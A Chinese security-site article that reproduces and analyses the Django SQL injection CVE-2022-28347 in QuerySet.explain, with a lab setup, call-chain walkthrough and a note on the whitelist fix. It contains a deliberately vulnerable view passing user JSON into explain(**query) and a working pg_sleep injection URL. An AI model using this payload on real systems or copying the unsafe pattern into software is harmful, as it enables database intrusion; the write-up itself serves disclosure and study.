您当前的位置:首页 > 电脑百科 > 安全防护 > 漏洞

Django SQL注入漏洞 CVE-2022-28347

时间:2023-05-18 14:17:02  来源:  作者:合天网安实验室

漏洞简介

在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain 中发现了SQL注入问题。这是通过传递一个精心编制的字典(带有字典扩展)作为**options参数来实现的,并将注入负载放置在选项名称中。

影响版本

2.2 =< Django < 2.2.28

3.2 =< Django < 3.2.13

4.0 =< Django < 4.0.4

环境搭建

创建存在 漏洞 Django 版本 3.2.12 项目

创建 startApp Demo 并依次修改文件

安装 postgresql 数据库

settings.py 设置连接数据库为 postgresql 数据库

DATABASES = {

'default': {

'ENGINE': 'django.db.backends.postgresql',

'NAME': 'test',

'USER': 'postgres',

'PASSword': '123456',

'HOST': '127.0.0.1',

'PORT': '5432',

}

}

urls.py 设定对应路由

fromdjango.contrib importadmin

fromdjango.urls importpath

fromDemo importviews

urlpatterns = [

path( 'admin/', admin.site.urls),

path( 'index/', views.index),

path( 'demo/', views.users),

path( 'initialize/', views.loadexampledata),

]

models.py

fromdjango.db importmodels

# Create your models here.

classUser(models.Model):

name = models.CharField(max_length= 200)

def__str__(self):

returnself.name

views.py

importjson

fromdjango.http importHttpResponse

fromdjango.shortcuts importrender

# Create your views here.

from.models importUser

defindex(request):

returnHttpResponse( 'hello world')

defusers(request):

query = request.GET.get( 'q')

query = json.loads(query)

qs = User.objects.get_queryset.explain(**query)

returnHttpResponse(qs)

defloadexampledata(request):

u = User(name= "Admin")

u.save

u = User(name= "Staff1")

u.save

u = User(name= "Staff12")

u.save

returnHttpResponse( "ok") 漏洞复现 http:// 127.0.0.1: 8000/demo/?q={ "ANALYZE)+select+pg_sleep(5);--+": "aaa"}

发现成功构造使得服务器沉睡

漏洞分析

在进行代码分析之前,我们先了解一个知识点 EXPLAIN

EXPLAIN

EXPLAIN -- 显示一个语句的执行计划

image

EXPLAIN [ ( option [, ...] ) ] statement

EXPLAIN [ ANALYZE ] [ VERBOSE ] statement

option:

ANALYZE [ boolean ] 执行命令并显示实际运行时间

VERBOSE [ boolean ] 显示规划树完整的内部表现形式,而不仅是一个摘要

COSTS [ boolean ]

BUFFERS [ boolean ]

TIMING [ boolean ]

FORMAT { TEXT | XML | JSON | YAML }

statement:

查询执行计划的 SQL 语句,可以是任何 select、insert、update、delete、values、execute、declare 语句

EXPLAIN ANALYZE不仅会显示查询计划,还会实际运行语句。EXPLAIN ANALYZE会丢掉任何来自SELECT语句的输出,但是该语句中的其他操作会被执行(例如INSERT、UPDATE或者DELETE)。

调试分析

django.db.models.query.QuerySet.explain

django.db.models.sql.query.Query.explain

django.db.models.sql.compiler.SQLCompiler.explain_query

django.db.models.sql.compiler.SQLCompiler.execute_sql

django.db.models.sql.compiler.SQLCompiler.as_sql

在这里会根据所选择的数据库,来调用其相对应的 explain_query_prefix 方法

django.db.backends.postgresql.operations.Databaseoperations.explain_query_prefix

postgresql 中 重写了 explain_query_prefix 方法将键名拼接到了 SQL 语句中

最后执行的 SQL 语句是

'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);-- true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"'

漏洞修复

做了一个过滤,发现危险字符就抛出异常

只有字符串在白名单内才会拼接到语句中



Tags:漏洞   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,不构成投资建议。投资者据此操作,风险自担。如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除。
▌相关推荐
IT之家 5 月 18 日消息,名为“vdohney”的网络专家近日在密码管理工具 KeePass 中发现漏洞,追踪编号为 CVE-2023-32784,可以内存中检索出该软件的主密码。坏消息是 KeePass 官...【详细内容】
2023-05-18  Tags: 漏洞  点击:(3)  评论:(0)  加入收藏
漏洞简介在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain 中发现了SQL注入问题。这是通过传递一个精心编制的字...【详细内容】
2023-05-18  Tags: 漏洞  点击:(0)  评论:(0)  加入收藏
随着时代的发展网站使用的频率是逐步增加。然而,随着互联网技术的不断进步,网站安全问题也引起了广泛关注。其中,最严重的问题是网站被黑客攻击。那么,何谓网站被黑?它可能会给企...【详细内容】
2023-05-18  Tags: 漏洞  点击:(10)  评论:(0)  加入收藏
DedeCMS组合漏洞分析DedeCMS代码注入漏洞(CVE-2022-36216)1. 简述漏洞涉及文件: /uploads/dede/member_toadmin.php /uploads/include/common.inc.php 整体流程简述: 参数传...【详细内容】
2023-05-17  Tags: 漏洞  点击:(15)  评论:(0)  加入收藏
Elementor插件的Essential Addons中新发现的一个漏洞,已经使超过100万个WordPress网站面临攻击的风险,这些攻击旨在获得对具有高级权限的用户帐户的未经授权访问。Patchstack...【详细内容】
2023-05-15  Tags: 漏洞  点击:(6)  评论:(0)  加入收藏
上周五,美国网络安全和基础设施安全局(CISA)在其漏洞(KEV)目录中新增三个安全漏洞,具体如下:CVE-2023-28432 (CVSS评分- 7.5)- MinIO信息泄露漏洞CVE-2023-27350 (CVSS评分- 9....【详细内容】
2023-04-24  Tags: 漏洞  点击:(39)  评论:(0)  加入收藏
IT之家 4 月 20 日消息,Canonical 于今天面向所有处于支持状态的 Ubuntu 发行版,发布了 Linux 内核安全更新,累计修复了 17 个安全漏洞。本次更新适用于 Ubuntu 22.10、Ubuntu...【详细内容】
2023-04-20  Tags: 漏洞  点击:(47)  评论:(0)  加入收藏
网络安全研究人员近日在IEEE 802.11 WiFi协议标准的设计中发现了一个基本的安全漏洞,这个漏洞让攻击者可以诱骗接入点泄露明文格式的网络帧。WiFi网络帧如同数据容器,由报头、...【详细内容】
2023-03-31  Tags: 漏洞  点击:(39)  评论:(0)  加入收藏
Redis开源库漏洞引发ChatGPT支付数据泄露。事件回顾3月20日,多名ChatGPT订阅用户称在其订阅页面看到了其他用户的邮箱地址。图 推特原文随后,OpenAI将ChatGPT下线并调查了这一...【详细内容】
2023-03-28  Tags: 漏洞  点击:(42)  评论:(0)  加入收藏
当用户需要搜索和替换文本时,正则表达式就会派上用场。然而,在某些情况下,它们可能会导致系统变慢,甚至容易受到ReDoS攻击。 ​简介​ReDoS是DoS攻击的一种子类型。ReDoS攻击的...【详细内容】
2023-03-28  Tags: 漏洞  点击:(45)  评论:(0)  加入收藏
▌简易百科推荐
IT之家 5 月 18 日消息,名为“vdohney”的网络专家近日在密码管理工具 KeePass 中发现漏洞,追踪编号为 CVE-2023-32784,可以内存中检索出该软件的主密码。坏消息是 KeePass 官...【详细内容】
2023-05-18    IT之家   Tags:漏洞   点击:(3)  评论:(0)  加入收藏
漏洞简介在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain 中发现了SQL注入问题。这是通过传递一个精心编制的字...【详细内容】
2023-05-18  合天网安实验室    Tags:漏洞   点击:(0)  评论:(0)  加入收藏
DedeCMS组合漏洞分析DedeCMS代码注入漏洞(CVE-2022-36216)1. 简述漏洞涉及文件: /uploads/dede/member_toadmin.php /uploads/include/common.inc.php 整体流程简述: 参数传...【详细内容】
2023-05-17  区块软件开发  今日头条  Tags:漏洞   点击:(15)  评论:(0)  加入收藏
Elementor插件的Essential Addons中新发现的一个漏洞,已经使超过100万个WordPress网站面临攻击的风险,这些攻击旨在获得对具有高级权限的用户帐户的未经授权访问。Patchstack...【详细内容】
2023-05-15  卡饭科技    Tags:漏洞   点击:(6)  评论:(0)  加入收藏
上周五,美国网络安全和基础设施安全局(CISA)在其漏洞(KEV)目录中新增三个安全漏洞,具体如下:CVE-2023-28432 (CVSS评分- 7.5)- MinIO信息泄露漏洞CVE-2023-27350 (CVSS评分- 9....【详细内容】
2023-04-24  安全圈   网易号  Tags:漏洞   点击:(39)  评论:(0)  加入收藏
网络安全研究人员近日在IEEE 802.11 WiFi协议标准的设计中发现了一个基本的安全漏洞,这个漏洞让攻击者可以诱骗接入点泄露明文格式的网络帧。WiFi网络帧如同数据容器,由报头、...【详细内容】
2023-03-31  嘶吼RoarTalk     Tags:漏洞   点击:(39)  评论:(0)  加入收藏
Redis开源库漏洞引发ChatGPT支付数据泄露。事件回顾3月20日,多名ChatGPT订阅用户称在其订阅页面看到了其他用户的邮箱地址。图 推特原文随后,OpenAI将ChatGPT下线并调查了这一...【详细内容】
2023-03-28    嘶吼网  Tags:漏洞   点击:(42)  评论:(0)  加入收藏
当用户需要搜索和替换文本时,正则表达式就会派上用场。然而,在某些情况下,它们可能会导致系统变慢,甚至容易受到ReDoS攻击。 ​简介​ReDoS是DoS攻击的一种子类型。ReDoS攻击的...【详细内容】
2023-03-28   李睿  51CTO  Tags:ReDoS漏洞   点击:(45)  评论:(0)  加入收藏
简介Struts2是一个开源的Java Web应用程序框架,它是Apache Struts项目的升级版,用于开发基于Java的Web应用程序。在过去的几年中,Struts2框架存在多个漏洞,这些漏洞可能导致Web...【详细内容】
2023-03-23  PHPer8090  今日头条  Tags:漏洞   点击:(30)  评论:(0)  加入收藏
概述计算机系统、软件、应用程序和其他网络接口容易受到各种威胁。因此,企业定期对其网站和网络进行漏洞评估,以确定现有的漏洞和弱点。 评估结果可以帮助开发人员和网络管理...【详细内容】
2023-03-13  雪竹频道  今日头条  Tags:漏洞   点击:(83)  评论:(0)  加入收藏
站内最新
站内热门
站内头条